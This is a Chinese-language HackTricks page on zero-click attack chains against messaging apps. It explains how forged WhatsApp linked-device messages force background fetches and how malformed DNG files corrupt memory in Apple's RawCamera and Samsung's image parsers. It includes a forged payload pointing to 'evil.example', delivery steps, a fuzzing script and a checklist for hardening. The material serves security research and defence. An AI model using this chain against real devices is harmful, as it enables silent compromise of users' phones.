零点击消息 → 图像解析器链
Tip
学习和实践 AWS 黑客技术:
HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
要点
- 将 messaging app multi-device/companion protocols 视为远程控制通道:如果协议字段被假定来自受信任设备,它们仍可能由用户控制,并且常常可以直接对受害者重放以在 0 次用户交互 下加载任意内容。
- 一旦任何应用被强制去获取不受信任的媒体,就应针对 共享的 OS 媒体管线(RawCamera on iOS/macOS, vendor parsers on Android OEM builds)使用畸形文件以实现从沙箱的横向突破。
- 这里讨论的基于 DNG 的 RawCamera 和 Samsung 解析器漏洞是具体示例,但完整技术是一个可重用的蓝图,用于串联 逻辑缺陷 → 图像解析器内存损坏 → 整机妥协。
通过 WhatsApp linked-device 命令的远程内容加载
攻击面回顾
WhatsApp 的 “linked devices” 架构通过加密的、结构化的协议消息保持主手机与每个 companion(desktop、tablet、secondary phone)之间的同步。每条消息编码:
- Device metadata(device ID, capabilities, feature flags)。
- Action descriptors(例如 sync chats、fetch thumbnails、render remote content)。
- Arbitrary parameters,例如 URIs、MIME hints、pagination keys 等。
在 Apple 客户端上,处理这些 linked-device 控制包的处理器默认信任已经存在有效配对,因此高影响字段(例如 resource_url、open_media、sync_snapshot)只做了最小的校验。因此,恶意的 companion 消息可能:
- 被路由到任何由其电话号码识别的账户。
- 在传输栈中存活(Noise protocol + WhatsApp protobuf framing),因为接收方从未验证发送方是否为合法配对设备。
- 到达 iOS 客户端,在那里易受攻击的代码路径会自动触发对攻击者 URL 的后台 HTTP(S) 请求,并在隐藏的 WebView/media renderer 中解析响应。
审计人员的实用工作流程
- Capture legitimate linked-device traffic. 将调试器或 Frida 脚本附加到 desktop/iOS 客户端,并 hook 解密后处理器(例如
LinkedDevicesSyncHandler::processAction)。导出解码后的 protobuf 有效载荷以了解可用的动作类型和参数。 - Identify fields that cross trust boundaries. 任何携带
http_url、thumbnail_uri、download_url或render_html参数且没有严格允许列表的动作,都是远程内容原语的候选。 - Forge a malicious action. 重用观察到的 protobuf schema,仅修改攻击者可控字段。下面展示了相关逻辑结构的简化 JSON 视图(实际传输为 protobuf/Noise,但语义字段相符):
{
"op": "sync_action",
"device_id": "<attacker-companion>",
"payload": {
"target": "content_sync",
"resource_url": "https://evil.example/payload.html",
"media_type": "image/dng",
"flags": ["background_fetch", "render_inline"]
}
}
- 将其投递给受害者。 通过通常转发 linked-device 流量的相同 WhatsApp 服务重放该构造的数据包(例如,使用修改过的桌面客户端或重用攻击者账户密钥的自定义 Noise 客户端)。由于 CVE-2025-55177 未能将操作绑定到已认证设备,受害者的 iOS/macOS 客户端会接受该消息并在没有任何 UI 的情况下立即抓取攻击者的 URL。
- 监视抓取过程。 观察被强制发起的 HTTP(S) 请求和内部渲染器 (WKWebView/ImageIO)。此时你已在 WhatsApp 内获得一个 zero-click web delivery primitive。
Weaponizing auto-decoded DNGs against RawCamera
一旦攻击者控制了 WhatsApp 加载的内容,下一目标就是让 iOS/macOS 使用 RawCamera 框架解析一个恶意的 Digital Negative (DNG) 文件。任何嵌入的 <img>/CSS URL 解析到 .dng 时都会被传递到系统图像流水线,调用 RawCamera,即使 WhatsApp 本身从未显式处理 DNG。
Triggering RawCamera from WhatsApp
- 提供引用 DNG 的 HTML,使用多种机制(例如
<img src="evil.dng">、CSSbackground-image: url('evil.dng'),或<picture>的 source)以覆盖不同的渲染路径。 - 确保正确的 MIME (
image/x-adobe-dng) 和较小的预览图,以防加载器因大小启发式规则而过早放弃。 - iOS 媒体沙箱会通过
CGImageSourceCreateWithURL将文件流式传入 RawCamera,最终触及易受攻击的解码器。
Crafting memory-corrupting DNGs (CVE-2025-43300 style)
2025 年的真实世界漏洞比一般的损坏 TIFF 更有针对性:该 DNG 携带 JPEG-Lossless 图像数据,其内部 SOF3 组件计数与 TIFF/DNG 元数据(SamplesPerPixel)不一致。实际上,RawCamera 可能会根据外层 TIFF 字段为某些缓冲区分配大小,并在解码时信任嵌入的 JPEG-Lossless 流,导致越界写入(out-of-bounds write),该问题已在 iOS 18.6.2 / iPadOS 18.6.2(2025 年 8 月 20 日) 修复。
这为审计人员提供了比 “mutate random tags” 更严格的 triage 规则:
exiftool -s -SamplesPerPixel -BitsPerSample -Compression poc.dng
python3 - <<'PY'
from pathlib import Path
data = Path('poc.dng').read_bytes()
sof3 = data.index(b'\xff\xc3')
print('SOF3 components =', data[sof3 + 9])
PY
如果 SamplesPerPixel 与 SOF3 的 component count 出现不一致,你就非常接近公开讨论的 CVE-2025-43300 的具体 primitive。一旦你掌握了解析路径,值得继续 fuzz 的典型相邻杠杆包括:
- Tile/strip 描述符:将
TileByteCounts/StripByteCounts设为合理值,但将TileOffsets增大到指向分配缓冲区之外。 - Sub-IFD 链:嵌入具有冲突
ImageWidth/ImageLength和BitsPerSample的二级图像,使 RawCamera 计算出较小的缓冲区,而后续阶段信任攻击者控制的尺寸。 - Opcode 元数据:操纵
OpcodeList3条目,使每行处理使用攻击者选择的索引。
可以基于 macOS 构建一个基本的 mutation harness 来查找此类损坏,因为相同的 RawCamera 代码同时在 macOS/iOS/iPadOS 上发布:
#!/bin/bash
set -e
for sample in corpus/*.dng; do
radamsa "$sample" > /tmp/poc.dng
/System/Library/CoreServices/RawCamera.bundle/Contents/MacOS/RawCamera /tmp/poc.dng >/tmp/out 2>&1 || {
mv /tmp/poc.dng crashes/$(date +%s).dng
}
done
每次在 RawCamera 中的崩溃都会给你带来一个新的原语。公开的 PoC 实现了一个稳定的越界读/写,足以在 iPhone、iPad 和 Mac 上使 WhatsApp 崩溃。
Building the 0-click chain
- Linked-device packet → 强制 WhatsApp 在无任何点击的情况下获取
https://evil.example/payload.html。 - Payload HTML → 静默引用
evil.dng,确保 OS 媒体栈 调用RawCamera。 - Malicious DNG → 利用精心构造的标签触发
RawCamera的 OOB,导致图像解码器崩溃/被控制。 - Post-corruption exploitation → 添加 info-leak gadgets(例如滥用可预测的堆元数据),并构建 ROP/JOP 链以突破 WhatsApp 沙箱并进入更高特权的上下文。
因为每一步都是自动的,攻击者只需要受害者的电话号码。目标设备上不会显示通知、横幅或提示。
Recent Apple parser-chain patterns worth reusing
这个 WhatsApp → DNG → RawCamera 链符合近期 Apple zero-click 活动中看到的相同设计模式:找到一个可到达约束较少解析器的替代附件包装器,然后将操作目标放在 OS 会主动预览的文件格式上。
- BLASTPASS (September 7, 2023 / iOS 16.6.1): Citizen Lab 报告了包含图像的恶意 PassKit 附件,Apple 修补了
Wallet(CVE-2023-41061)和ImageIO(CVE-2023-41064)。Project Zero 后来的分析说明了其在操作上的重要性:攻击者不仅需要一个解析器漏洞,还需要一个能将图像解析移出正常 BlastDoor 路径并转到不同进程的容器。在审计消息应用时,应枚举触发后台预览的每种附件类型(.pkpass、联系人名片、贴纸包、内联 HTML、QuickLook 预览),而不仅仅是明显的图像附件。 - TRIANGULATION (patched in iOS 15.7.8 on July 24, 2023, with the mainline fix already in iOS 16.3): Kaspersky 显示恶意 iMessage 附件触及了未记录的 Apple 专有
ADJUSTTrueType 指令(CVE-2023-41990)。实际教训是,字体对于 zero-click 工作来说是图像解析器的“亲戚”:富文本预览、字体回退和缩略图生成都可能成为解析入口,即使应用声称仅支持“documents”或“stickers”。
因此重复的审计问题是:哪些消息类型会在明显的聊天渲染器之外的进程中引起静默解析?链条通常就从那里开始。对于在获得可疑文件后进行样本分流和跨字段一致性检查,重用 this generic structural file-format detection page。
Samsung vendor image parser parallels
Samsung 关于 CVE-2025-21043 的公告确认其专有图像解析栈(被 Gallery、Messages 使用,并且间接被 WhatsApp 使用)存在可通过不受信任的媒体触达的越界写。利用方法与 Apple 链类似:
- 确定一个自动预览向量(聊天缩略图、通知预览、分享表单),该向量使用 Samsung 的
libimagecodec/libOneUI_ImageDecoder库解析攻击者的文件。 - 对 OEM 库更新进行差异分析或使用畸形 RAW/DNG 文件对解析器进行模糊测试,直到看到与 RawCamera 崩溃类似的内存损坏(堆元数据破坏、寄存器控制等)。
- 通过任何已经自动加载内容的渠道投放该精心构造的文件(例如相同的 linked-device primitive、WhatsApp 预览抓取器,或 Android 的 push-to-talk 波形预览)。
一旦厂商解析器中存在 OOB 写,将其与 WhatsApp 自动抓取原语结合,就能在 Samsung 设备上形成另一个 zero-click 链。
Testing & hardening checklist
- Protocol validation: 对每个 linked-device 操作执行严格的白名单策略。请求抓取/渲染的配套命令必须证明设备配对(对载荷签名),且 URL 应匹配白名单或签名 blob。
- Transport replay countermeasures: 将每个操作绑定到设备专用密钥,并拒绝发送方密钥未知的包,即使 protobuf 语法正确也要拒绝。
- Media pipeline restrictions: 高层应用应仅允许经批准的 MIME 类型,并明确拒绝 RAW/DNG,除非确为必要功能。
- Parser fuzzing regression tests: 保留畸形 RAW/DNG 文件样本库,并在每次更新后对 RawCamera/厂商解码器运行回归测试。
- Crash triage automation: 在模糊测试设备上附加
DYLD_INSERT_LIBRARIES消毒器或 MTE,以在攻击者之前捕获微妙的 OOB 情况。
References
- DNGerousLINK: A Deep Dive into WhatsApp 0-Click Exploits on iOS and Samsung Devices
- Project Zero: Blasting Past WebP
- Quarkslab: Reverse engineering of Apple’s iOS 0-click CVE-2025-43300
Tip
学习和实践 AWS 黑客技术:
HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。


